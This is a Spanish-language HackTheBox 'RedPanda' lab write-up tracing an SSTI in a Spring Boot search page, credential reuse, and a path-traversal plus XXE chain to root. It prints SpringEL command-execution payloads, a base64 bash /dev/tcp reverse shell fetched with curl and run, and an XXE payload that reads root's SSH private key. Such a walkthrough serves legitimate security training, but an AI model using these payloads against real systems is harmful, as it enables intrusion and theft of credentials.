HackTheBox - RedPanda


Creado
HackTheBox - RedPanda

Máquina Linux nivel fácil. SSTI en plantillas juguetonas de Java, ojitos abiertos para leer código Java y encontrar LFIs y XXEs.

TL;DR (Spanish writeup)

Creada por: Woodenk.

Hay que con+ca+te+nar

Tenemos un sitio web vulnerable a Server Side Template Injection, peeero en una plantilla de Java, usando eso lograremos una terminal en el sistema como el usuario woodenk.

Veremos algunos objetos .java llamativos en el sistema, junto a pspy relacionaremos uno de esos objetos con un proceso ejecutado por root, haciendo análisis de código Java encontraremos la posibilidad de concatenar varios LFI con un XXE, lo usaremos para leer archivos del sistema y robarle la llave privada SSH al usuario root.

Clasificación de la máquina según la gentesita

¿Pistas? muy (muy) CTF, poco real.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

Lovinnu.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Como siempre empezaremos viendo qué puertos (servicios) tienes activos la máquina, esto para direccionar nuestro posible punto de entrada, usaré nmap:

nmap -p- --open -v 10.10.11.170 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Extraemos:

Puerto Descripción
22 SSH: Tenemos la posibilidad de ejecutar una Shell de manera segura.
8080 HTTP-Proxy: (en este caso) Un servidor web, pero por lo general este puerto se usa como intermediario entre peticiones para validar tráfico y demás cositas.

Listos, ahora apoyados nuevamente de nmap lo usaremos para intentar descubrir las versiones del software y jugar con unos scripts que tiene a ver si descubren algo interesante:

+ ~ +(Usando la función (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.170
    [*] Open ports: 22,8080

[*] Ports copied to clipboard

)+ ~ +

nmap -p 22,8080 -sC -sV 10.10.11.170 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y obtenemos algunas cositas:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
8080 HTTP -
  • En el título notamos un posible software:

    <title>Red Panda Search | Made with Spring Boot</title>
    

    🌞 Spring Boot, ojito con eso…

Bien, por ahora no tenemos nada más así medio relevante, así que a jugar!

Enumeración #

Démosle de primeras al servicio web (:

Vistazos al puerto 8080 📌

Un buscador de “pandas rojos”, si empezamos a buscar cositas vamos a obtener siempre este formato de output (en este caso al buscar '):

Así que a explorar…

Si enviamos la petición con el campo vacío por default parece enviar Greg y devolver esto de respuesta:

Jmmmm, pues hay varias curiosidades:

  • Posible usuario greg.
  • ¿Ataques de inyecciones? ¿Campo de búsqueda? Tiene sentido. (medio feo el tener la pista así como así, pero pues…)
  • Nuevo apartado con información del autor de la imagen.
  • El autor se llama woodenk (posible usuario).

Dirigiéndonos a la info del autor vemos:

Más cositas:

  • Nuevo autor (posible usuario) llamado damian.
  • Podemos extraer la data que vemos en pantalla, esto es descargado en formato XML:

    <?xml version="1.0" encoding="UTF-8"?>
    <credits>
      <author>woodenk</author>
      <image>
        <uri>/img/greg.jpg</uri>
        <views>5</views>
      </image>
      <image>
        <uri>/img/hungy.jpg</uri>
        <views>1</views>
      </image>
      <image>
        <uri>/img/smooch.jpg</uri>
        <views>1</views>
      </image>
      <image>
        <uri>/img/smiley.jpg</uri>
        <views>3</views>
      </image>
      <totalviews>10</totalviews>
    </credits>
    

    Pero dando vueltas no logramos ver útil esto.

Contamos con varias cosas interesantes, retomemos la idea de las inyecciones a ver si va por ahí la cosa. Pero antes, juguemos con la info del título a ver si también tiene relevancia y podemos concatenar inyecciones a ese software en específico.

<title>Red Panda Search | Made with Spring Boot</title>

Buscando Spring Boot en Internet encontramos:

🌱 “Spring es un framework para backend que se puede usar con Java, Kotlin y Groovy, Spring framework existe para facilitar la creación de aplicaciones, simplificando la estructura del proyecto y mejorando la velocidad de una aplicación empresarial.” ~ Codmind.

🌱 “Spring Boot es una variación de Spring que viene con la configuración, que anteriormente se tenía que hacer a mano…” ~ Codmind.

Bien, un framework que puede ser usado en Java, Kotlin y Groovy. Pues tenemos 3 lenguajes de programación a los cuales buscarles cositas peligrosas, intentemos ver si realmente es vulnerable a alguna inyección y si lo es ya solo queda jugar con ese tipo inyección enfocada en Spring Boot y en los 3 lenguajes de programación a ver con cuál logramos algo llamativo.

Explotación #

Después de darle a distintas inyecciones notamos que hay tres caracteres baneados: $, _ y %:

Estos caracteres toman algo de sentido cuando probamos los Server Side Template Injection (SSTI) y sus respuestas:

📝 Una SSTI ocurre cuando un atacante es capaz de inyectar codigo nativo de una plantilla para ejecutar cositas maliciosas. ~ HackTricks.


¿Por qué toman sentido? Esos chars son usados en muchas plantillas como parte de su sintaxis, pueda que estén baneadas por alguna razón específica, ¿no?

Una de las pruebas que siempre se hacen con este ataque es una operación matemática, por ejemplo un 3*3, solo que para generar la inyección hay que jugar con la sintaxis de la plantilla. En esta lista de payloads hay varios payloads para probar inicialmente, la vaina está que al probar:

#{3*3}
#{ 3 * 3 }

Obtenemos candela:

OJITO! La operación se completó y tenemos 9 como resultado, o sea, confirmamos un SSTI. Solo que se le está concatenando algo extraño… Por ahora retomemos los lenguajes de programación y Spring Boot para buscar payloads para ya meterle fuego a esto e inyectar por ejemplo algo que ejecute comandos remotamente en el sistema.

Jugando con un SSTI en Spring Boot 📌

Al buscar spring boot ssti llegamos a este post:

Thymeleaf es un template que es ejecutado para Java, en sí no referencia en ningún lado a Spring Boot, pero recordemos que Spring se puede usar en Java, así que tamos bien.

El post nos presenta algunos payloads a probar y sus sintaxis:

Hay varios a probar por si algo. También nos ofrece expresiones para RCE (Remote Command Execution), una de ellas enfocada en SpringEL (Expression Language):

😑 “Expression Language de Java es un lenguaje de programación de propósito especial utilizado principalmente en aplicaciones web en Java para incrustar expresiones en páginas web.” ~ Wikipedia.

Sería este payload:

${T(java.lang.Runtime).getRuntime().exec('calc')}

Pues probemos con todas las sintaxis que vimos antes a ejecutar, por ejemplo el comando whoami:

#{T(java.lang.Runtime).getRuntime().exec('whoami')}

Pero obtenemos:

Testeando con las demás sintaxis cambia el output al probar *:

*{T(java.lang.Runtime).getRuntime().exec('whoami')}

Epa, algo se ha ejecutado, solo que el output no está siendo mostrado, ya que parece ser enviado como tarea en segundo plano, entonces hagamos que la máquina realice un ping contra nuestra IP, así sabremos si realmente se están ejecutando comandos.

*{T(java.lang.Runtime).getRuntime().exec('ping 10.10.14.146')}

Pero para saber que lo hace debemos ponernos en escucha por la interfaz de esa IP (VPN de HTB, casi siempre tun0 (con ifconfig descubres que interfaz tiene)) e interceptar el paquete enviado (ICMP, el comando ping trabaja con esas peticiones):

tcpdump -i tun0 icmp -v

Ahora sí, enviamos el payload yyyyyyy en nuestro listener:

Ahí vemos como la IP 10.10.11.170 (la máquina víctima) envió paquetes a la dirección IP 10.10.14.146 (nuestra máquina), así que tenemos ejecución remota de comandoooooos! Hagamos una reverse shell (:

Despues de varias vueltas y lidiar con problemas (parece que el pipe (|) a veces se buggea o algo pasa en el backend) logramos una manera de hacer que la máquina nos envie una shell.

  • Convertimos a base64 el contenido que queremos sea ejecutado por la máquina víctima, en este caso le diremos que envíe a un puerto de nuestro sistema (4433) una /bin/bash:

    echo "bash -i >& /dev/tcp/10.10.14.146/4433 0>&1" | base64
    

    Copiamos ese resultado.

  • Creamos archivo (lo llamaré rev.sh) que subiremos a la máquina víctima para que sea ejecutado, en él lo que haremos será decirle algo tal que así:

    🗣️ “Vea, hágame un fa, tome esta cadena en base64, decodeela y ejecútela, nada más, muchas gracias”

    #/bin/bash
      
    echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQzMyAwPiYxCg== | base64 -d | bash
    
  • Levantamos dos servicios, HTTP y el puerto 4433, esto para que la máquina víctima busque y descargue el archivo rev.sh y donde recibiremos la reverse shell respectivamente.

    # HTTP sobre el puerto 8000
    python3 -m http.server
    # NC sobre el puerto 4433
    nc -lvp 4433
    
  • Preparamos payloads:

    *{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.146:8000/rev.sh -o /tmp/hola.sh')}
    *{T(java.lang.Runtime).getRuntime().exec('bash /tmp/hola.sh')}
    

    El primero descarga el archivo y lo guarda en la ruta /tmp con el nombre hola.sh y el segundo simplemente lo ejecuta (es necesario el bash, si no se explota).

🔥 Que Empiece El Fogeteo 🔥

Enviamos el primer payload y al ir todo bien recibimos la petición en nuestro servidor HTTP (: Lo que queda es ejecutar el archivo y revisar nuestro listener:

TENEMOS UNA REVERSE SHELL EN EL SISTEMA COMO woodenk!

Antes de seguir hagámosla útil (si hacemos CTRL^C la perdemos), completamente funcional (poder movernos entre comandos y tener histórico) y de paso bonita:

Ahora sí, volvámonos administradores de esta vuelta.

Escalada de privilegios #

Entre los grupos a los que está asignado el usuario woodenk tenemos logs como grupo llamativo:

woodenk@redpanda:/$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

Revisando que existe en el sistema asociado a ese grupo (quitamos resultados con m2 y proc en su nombre):

find / -group logs 2>/dev/null | grep -vE "proc|m2"

Obtenemos estos objetos relevantes:

/opt/panda_search/redpanda.log
...
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
...

Pero revisándolos no hay mucho que destacar, solo que tenemos acceso completo al archivo .log, pero sigamos enumerando.

Viendo que programas externos están alojados en la ruta /opt tenemos esto:

woodenk@redpanda:/opt$ ls -l
total 16
-rwxr-xr-x 1 root root  462 Jun 23 18:12 cleanup.sh
drwxr-xr-x 3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x 6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x 5 root root 4096 Jun 14 14:35 panda_search
  1. Un objeto que limpia archivos .jpg y .xml del sistema en algunas rutas, medio raro eso.
  2. Objetos de un programa hecho en Java que revisa el objeto .log y extrae cuantas peticiones se hacen a las imágenes, según eso incrementa las visitas y actualiza los objetos .xml con esos nuevos valores.
  3. Binarios relacionados con maven.
  4. Objetos del programa hecho en Java al cual le ejecutamos el SSTI y por el cual estamos ahora en el sistema, de él extraemos unas credenciales:
  cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
  ...
  conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
  ...

Reutilizando las creds logramos una sesión SSH como woodenk, pero de poco nos sirve, ya que ahí el usuario no está asignado al grupo logs (jugando con pspy podemos descubrir el porqué pasa eso, el usuario root está ejecutando como woodenk y con el grupo logs el programa de Panda Search, por eso obtenemos el grupo), así que seguimos en la reverse shell.

Podemos destacar poco de lo anterior, lo llamativo puede ser que el cleaner y credit-score usan cositas de XML, eso me puede hacer pensar en XXE (XML External Entity), pero pues tendríamos que revisar a fondo el programa de los créditos a ver si por ahí va la cosa, peeeero pues primero debemos saber si eso está relacionado con root, sabemos que él creó los objetos, ¿pero él los ejecuta? ¿Tenemos interacción con alguno?

Revisemos que procesos internos se están ejecutando. Usando el programa pspy monitorizamos el sistema en búsqueda de tareas programadas, procesos, etc. Cositas salvajes por ahí, así que descargamos el binario, lo subimos a la máquina, lo ejecutamos y solo queda prestar atención a ver si algún proceso es interesante… Pasado un tiempo vemos esto:

Notamos que se está ejecutando una tarea cada 2 minutos que involucra dos cosas:

  • root es el que lanza ese proceso (el UID (User ID) 0 es root).
  • El proceso tiene que ver con los objetos de credit-score, los del XML!

    /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
    

    El fuente (código) de ese objeto es (lo puedes validar (por lógica y) descargándote el archivo a tu sistema y con ayuda de JD-GUI ver los archivos asociados):

    /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
    

Así que a hacer análisis de código y a divertirnos si es que encontramos algo provechoso.

Analizando código Java buscando problemas 👊 📌

Este sería el código completo (con algunos comentarios míos):

App.java

La idea con esto es entender pasos claves, pero no profundizaré muuucho en que hace X o Y función de Java, la idea es buscar algo explotable, ya queda en ti adentrarte y averiguar cositas que no diga yo (:

Nos encontramos inicialmente con la función main 👜:

...
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");  // Toma el contenido del archivo .log
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())                   // Si hay lineas en el archivo, entra a leerlo. (más abajo)
        {
            String line = log_reader.nextLine();
            if(!isImage(line))                            // Valida si en toda la linea existe la cadena '.jpg'.
            {
                continue;
            }
            Map parsed_data = parseLog(line);             // Toma la linea, la mapea con la función parseLog y devuelve (por ejemplo):
                                                          // {status_code=200, ip=10.10.14.146, uri=/img/greg.jpg, user_agent=curl/7.84.0}
            System.out.println(parsed_data.get("uri"));   // Imprime el valor de 'uri', (en este caso) /img/greg.jpg
            String artist = getArtist(parsed_data.get("uri").toString());  // Extrae el nombre del artista: damian - woodenk
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";          // /credits/woodenk_creds.xml
            addViewTo(xmlPath, parsed_data.get("uri").toString());         // Suma visitas y modifica XML
        }
    }
...

Profundicemos:

  • 🖼️ La función isImage() válida que en la línea exista la cadena .jpg:

    ...
        public static boolean isImage(String filename){
            if(filename.contains(".jpg"))
            {
                return true;
            }
            return false;
        }
    ...
    
  • 🗺️ Si existe .jpg lo que hace es mapear los valores de esa línea con la función parseLog():

    ...
        public static Map parseLog(String line) {
            String[] strings = line.split("\\|\\|");  // Ejemplo: line = 200||10.10.14.146||curl/7.84.0||/img/greg.jpg
            Map map = new HashMap<>();                                                                                    
            map.put("status_code", Integer.parseInt(strings[0]));  // 200
            map.put("ip", strings[1]);                             // 10.10.14.146
            map.put("user_agent", strings[2]);                     // curl/7.84.0
            map.put("uri", strings[3]);                            // /img/greg.jpg
            return map;
        }
    ...
    

    Y return map devolvería:

    {status_code=200, ip=10.10.14.146, uri=/img/greg.jpg, user_agent=curl/7.84.0}
    
  • 🎨 Lo siguiente es llevarse uri o sea la imagen (en este caso) y validar de qué artista es y quedarse con su nombre, esto mediante la función getArtist():

    ...
        public static String getArtist(String uri) throws IOException, JpegProcessingException
        {
            String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
            File jpgFile = new File(fullpath);
            Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
            for(Directory dir : metadata.getDirectories())
            {
                for(Tag tag : dir.getTags())
                {
                    if(tag.getTagName() == "Artist")
                    {
                        return tag.getDescription();
                    }
                }
            }           
            return "N/A";
        }
    ...
    

    Acá el programa busca la imagen en una ruta por default concatenada a la uri (podemos pensar en LFI):

    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    // /opt/panda_search/src/main/resources/static/img/greg.jpg
    

    Y de ella usando los metadatos válida si existe el Tag Artist, de ser así extrae su descripción, o mejor dicho, el nombre del artista.

    Validemos rápidamente con exiftool la imagen greg.jpg en nuestro sistema y busquemos ese tag:

    ❱ exiftool greg.jpg
    ...
    Artist                          : woodenk
    ...
    

    Perfectoooos, ya entendimos esa función, retomando lo de arriba podemos pensar en usar esta función para explotar un Local File Inclusion (LFI) e indicarle una ruta distinta en la que tengamos una imagen nuestra, talvez con algo en el tag Artist, pero por ahora no sabríamos que, así que sigamos que la siguiente función hace uso del artista para cositas, pueda que ahí se nos aclaren las ideas (:

  • Da formato a una cadena de texto con el artista implicado:

    ...
    String xmlPath = "/credits/" + artist + "_creds.xml";
    //                /credits/woodenk_creds.xml
    ...
    

    Ese es el objeto que vimos al enumerar archivos del grupo logs (:

    🔥 Acá ya damos forma a un posible ataque!

    Si modificamos la metadata del tag Artist por yo qué sé, ../../../tmp/hola entonces el path hacia el archivo XML quedaría así:

    // artist = ../../../tmp/hola
    String xmlPath = "/credits/" + artist + "_creds.xml";
    // xmlPath = /credits/../../../tmp/hola_creds.xml
    

    ¡POR LO QUE ESTARÍAMOS INDICÁNDOLE UN NUEVO ARCHIVO XML EN CUALQUIER PARTE DEL SISTEMA!

    Yyyyy si revisamos la siguiente función toma sentido el ataque de inyectar entidades externas (XXE)!!!!!!

  • 🔭 Toma el artista, le suma visitas, en este caso a /img/greg.jpg y modifica el archivo XML con ese nuevo número de visitas, esto mediante la función addViewTo():

    ...
        public static void addViewTo(String path, String uri) throws JDOMException, IOException
        // uri: Lo que enviamos como URL (/img/greg.jpg)
        {
            SAXBuilder saxBuilder = new SAXBuilder();
            XMLOutputter xmlOutput = new XMLOutputter();
            xmlOutput.setFormat(Format.getPrettyFormat());
            File fd = new File(path);                           // path : /credits/woodenk_creds.xml
            Document doc = saxBuilder.build(fd);
            Element rootElement = doc.getRootElement();
            for(Element el: rootElement.getChildren())
            {
                if(el.getName() == "image")
                {
                    if(el.getChild("uri").getText().equals(uri))
                    {
                        Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                        System.out.println("Total views:" + Integer.toString(totalviews));
                        rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                        Integer views = Integer.parseInt(el.getChild("views").getText());
                        el.getChild("views").setText(Integer.toString(views + 1));
                    }
                }
            }
            BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
            xmlOutput.output(doc, writer);
        }
    ...
    

    Abre el archivo XML y empieza a leer cada elemento, hace la suma de las visitas y al final actualiza el archivo con el xmlOutput.output(doc, writer).

    Ihsss, hay algo muy interesante que podemos intentar.

    Tenemos control sobre la uri (a través del archivo .log que podemos modificar), podríamos indicarle una nueva imagen en cualquier parte del sistema (LFI), a esa imagen modificarle su metadata y que artist ahora tenga ooootra ruta del sistema (LFI) donde tengamos alojado un archivo XML malicioso que el programa leerá y procesará… Esto nos da como toque final un posible (muy) XXE.

Así que juguemos de una vez por todas 🛫


LFI + Metadatos + XXE 📌

Pasos a realizar:

  1. Tomar una imagen (puede ser cualquiera, pero usemos las que ya están), yo usaré angy.jpg.
  2. Modificar su metadata, específicamente el tag Artist y agregar una ruta a la que tengamos acceso completo (para generar un LFI (ya hablaremos de esto)), ahí alojaremos el archivo XML y la imagen.
  3. Crear un archivo XML muuuuy sencillo donde creemos una entidad (también hablaremos de esto) que lea archivos del sistema, así el programa ejecutara la entidad y por consiguiente nuestras cositas malévolas.
  4. Subir los archivos a la máquina víctima.
  5. Modificar el objeto .log para que la uri llegue mediante un LFI a donde está alojada la imagen que subimos.
  6. Esperar 2 minutos y ser felices :P

Antes de, veamos conceptos:

Un LFI (Inclusión Local de Archivos) permite la lectura de archivos del sistema (locales) a los cuales por default no se tiene acceso.


Y, por otro lado:

Un ataque XXE (Inyeccion de Entidad Externa XML) puede estar presente en apliaciones que usan XML como metodo de formatear datos. Esta vuln permite la creacion de entidades (podemos pensarlas como “variables”) que XML por default va a poder procesar (ejecutarlas), la idea es usar esas entidades para ejecutar cositas maliciosas.


Ahora si a darle y en cada apartado entenderemos mejor esto.

  • Modificamos metadata indicando en el tag artist un LFI, usaré la herramienta exiftool:

    exiftool -Artist="../../../../tmp/test/hola" angy.jpg
      1 image files updated
    

    Y si validamos:

    exiftool angy.jpg
    ...
    Artist                          : ../../../../tmp/test/hola
    ...
    

    Recordemos, extraerá el artista:

    /credits/../../../../tmp/test/hola_creds.xml
    

    Generando así un LFI para salirnos de la carpeta /credits/ y entrar en /tmp/test/.

  • Generamos archivo XML con la entidad maliciosa:

    Acá existen varios payloads de los que nos podemos apoyar, en nuestro caso creemos una entidad que nos permita leer archivos del sistema y veamos si root cuenta con una llave privada SSH para así logearnos como el simplemente usando la llave y sin necesitar contraseña.

    ❱ cat hola_creds.xml
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE holahola [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]>
    <test>&xxe;</test>
    

    La entidad se llama xxe, en ella la idea es que se guarde el contenido del objeto /root/.ssh/id_rsa yyyyy sea mostrado en el elemento (que puede tener cualquier nombre) <test> con la data de la entidad, o seaaaaa, la llave.

  • Subimos los archivos a la máquina:

    woodenk@redpanda:/$ mkdir /tmp/test
    woodenk@redpanda:/$ cd /tmp/test
    woodenk@redpanda:/tmp/test$ curl ...
    woodenk@redpanda:/tmp/test$ curl ...
    
    woodenk@redpanda:/tmp/test$ ls -l
    total 224
    -rw-rw-r-- 1 woodenk logs 223983 Aug 16 21:39 angy.jpg
    -rw-rw-r-- 1 woodenk logs    128 Aug 16 21:40 hola_creds.xml
    
  • Ahora debemos modificar el objeto .log para indicarle mediante un LFI que llegue a nuestra imagen:

    Tenemos que salirnos de la ruta /opt/panda_search/src/main/resources/static, si imaginamos estar en una terminal:

    # 1        2       3   4       5       6   | 1  2  3  4  5  6  por-si-algo-agregamos-más
    cd /opt/panda_search/src/main/resources/static/../../../../../../../
    # Ya estariamos en la raíz, solo queda entrar en la nueva ruta:
    cd /opt/panda_search/src/main/resources/static/../../../../../../../tmp/test/
    

    Así que nuestra ‘uri’ seria:

    /../../../../../../../tmp/test/angy.jpg
    

    Para modificarlo fácilmente hacemos:

    echo "200||10.10.14.146||holaholaholaaaa||/../../../../../../../tmp/test/angy.jpg" >> /opt/panda_search/redpanda.log
    

Yyyyyyy pasados los 2 minutos ejecutaría el programa, tomaría la URI, se iría a nuestra imagen, sacaría el artista y eso lo redireccionaría al objeto XML que creamos, si fue procesado debería haberse ejecutado la entidad y como resultadoooooooo tener la llave privada del usuario root (si es que existe):

YYYYYYYYYYYYYYYYYYYYYYYYYYYY:

UJUUUUUUPAA! El XXE se ha efectuado y obtuvimos la llave privada de root!

Guardémosla en un archivo de nuestro sistema, démosle los permisos necesarios e iniciemos sesión como él:

❱ cat root.id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
chmod 600 root.id_rsa
ssh root@10.10.11.170 -i root.id_rsa

Y listos, a leer las flags:

Una máquina algo juguetona y en partes extraña, la intrusión con tantas pistas CTF no me llamo la atención, pero el jugar con un SSTI distinto a los de Flask, bien ahí.

La escalada bien CTF, pero muy interesante el conjunto de vulns que arrastramos, eso me gusto mucho y pues el descubrirlas revisando código, brutal.

Y nada, por ahora es el fin, pero nos leeremos prontico, como siempre a seguir rompiendo de todo!!!!!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus